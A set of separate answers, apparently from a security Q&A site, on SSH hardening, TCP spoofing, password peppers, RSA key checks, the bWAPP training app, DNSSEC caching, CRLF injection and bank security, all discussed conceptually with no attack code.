In general: everything you do to harden the access might impact your own usability and their is also some costs (time is money) associated with setting it up and maintaining it. So you need to find the personal balance between security measures and usability and costs. That said, here some suggestions:

Limit the connection attempts per time to reduce how much connections SSH has to handle in the first place. This might slow down the attempts. See Limit max connections per IP address and new connections per second with iptables.
Setup the SSH server on a non-standard port. The common scanners will focus on port 22 and will not check every possible port for an SSH server. It is still possible to additionally listen on the default port 22 but with a strict limit on connections per time to confuse scanners.
Use something like port knocking to enable access to the port only after some secret port sequence was "touched". A similar concept is Single Packet Authorization where access to the SSH port is only enabled after some "magic" packet was send.
One can explicitly blacklist certain IP addresses or ranges (like Tor exit nodes) or use a more generic blocking based on the geographic location of the sender.


Is IP spoofing relevant to TCP? Is it relevant for TLS or SSH?

To brute-force, you'd have to correctly guess the server's initial sequence number which is 32-bit (4 billion).

However, TCP is sent in plaintext.  So if you can eavesdrop to a spoofed IP address (e.g., you can sniff packets from a router between the client and host), you don't need to guess the initial sequence number, you can just intercept it.

If you can intercept the packets you can start an ssl/tls/https/ssh connection.  Otherwise you cannot.


You are correct.  Hashing is not invertible and encryption is.  The security expert is talking through his hat.

The "pepper" that cpast is talking about is the key of a keyed hash.  In that case, there are three components in the input to the hash algorithm: the password, the salt, and the key.  If the database is compromised, the salt is compromised, but the key is not.  If the key is of non-trivial length, like 128 bits, recovering the password from hash and salt alone is probably not possible.  (Strictly speaking, it is an "intractable" problem.  One knows how to to it -- try all possible key values -- one just cannot do it in reasonable time.)


The short answer is no, but you're probably asking the wrong question.

There are sanity checks you can make on data that represents an RSA public key, but they don't validate that the public key “actually encrypts”. They validate that the data represents a mathematical object for which the RSA calculations will work (e.g. won't cause a division by zero or an infinite loop).

  if i use it to encrypt say a form submission, the form data will actually be encrypted.

If you mean that the form content should be encrypted in transit and that the server should be able to see the plaintext, this doesn't involve RSA at all. Check whether the HTTPS protocol is used for the form submission. The page that displays the form should be HTTPS as well, as well as any other page where you access the site while logged in with the same account. With HTTPS, the contents are encrypted and protected against a man-in-the-middle.

If you mean that the server shouldn't be able to decrypt what you send, why are you sending that data in the first place? But ok, let's assume that you want to send encrypted data to a server, and that the server shouldn't be able to decrypt it.

If you've used RSA correctly, then the only entity that can decrypt the data is whoever has the private key. It's impossible to tell, by looking only at the public key, who has access to the private key.

If you have the private key and you generated the public key from the private key, you don't need to do any validation on the public key. You know it's valid because you obtained it by a correct procedure.

If you don't have the private key and someone gave you the public key, you have to trust them to keep the corresponding private key safe. You can't tell by looking at the public key.

So no, there's no check on the public key that will tell whether your data is securely encrypted. You need to review your whole system architecture.


windows 10 showing me that bWAPP contains a reverse shell

Is it good to use it is safe to use

From the description:

bWAPP, or a buggy web application, is a free and open source deliberately insecure web application.
It helps security enthusiasts, developers and students to discover and to prevent web vulnerabilities.
bWAPP prepares one to conduct successful penetration testing and ethical hacking projects.

No, it's not secure. It's not meant to be secure. It's explicitly meant to be insecure, as a tool for training. You should not host it in a way that is world accessible. Host it on your local computer, accessible locally - or even better - in a disposable virtual machine. Heck, they even provide a pre-configured  VM that you can download.
It should be noted that it's 6-7 years old now, so it's outdated. The learning value from it may not be as great as in 2014, as many attacks are mitigated by current technologies and best practices...


Possible to prevent/limit caching of DNSSec records?

As a client

I don't think that there is a way to check the cache status of a record on a DNS resolver. If you are really concerned about whether the record is cached then you can directly query the authoritative nameserver.

As a resolver

As a resolver you can choose to cache (or not cache) what you want, but I wouldn't recommend messing with this. The authoritative server has requested the cache time with their TTL, and I'd recommend that you just respect that. Caching is very important in DNS to spread out the load over the network.

As an authoritative nameserver

As an authoritative nameserver you can use your TTL to request that resolvers cache your record for a certain time (which you can set very low for near instant expiry). However, unfortunately, resolvers sometimes choose to not listen to TTLs.


Is there an impact of CRLF injection on static sites?

It depends on the architecture, but essentially the premise is that you inject a http response inside your response causing there to be two responses in the output queue/buffer. Once the server has sent the first response to you it now has another response ready to go which could be delivered to another user. It is not a predictable behaviour and would require other active users that could be attacked.

Even if the site does not have active content you could attack users via a fake plugin update (flash, f.ex) or perform a CSRF attack against another site or their internal network (change Soho router DNS settings f.ex).


Why do so many banks have relatively weak e-banking security?

The basic reason is because despite all these issues they don't regularly suffer breaches or theft enough for it to be a market differentiator.

Weakened passwords still fend off most online attacks against customer accounts when paired with their system lockouts, multi-factor authentication, and other intrusion controls.  Most banking customer passwords are stolen through trojans on their systems, which work regardless of password strength.

Similarly with weak SSL/TLS implementations there are only a limited number of attackers in a position (e.g. network access and computational resources) to take advantage of it to steal customer accounts or money.

At the end of the day banks are in business to make money.  They aim to implement enough security to avoid losses and regulatory punishment.  In some cases they are limited by what they can do by legacy systems, but most would never be on the cutting edge of security practices regardless because it doesn't add much value.

This isn't to say every bank's security is where it needs to be, just that they tend to secure areas that cause them problems and may wait until those problem actually emerge to fix them.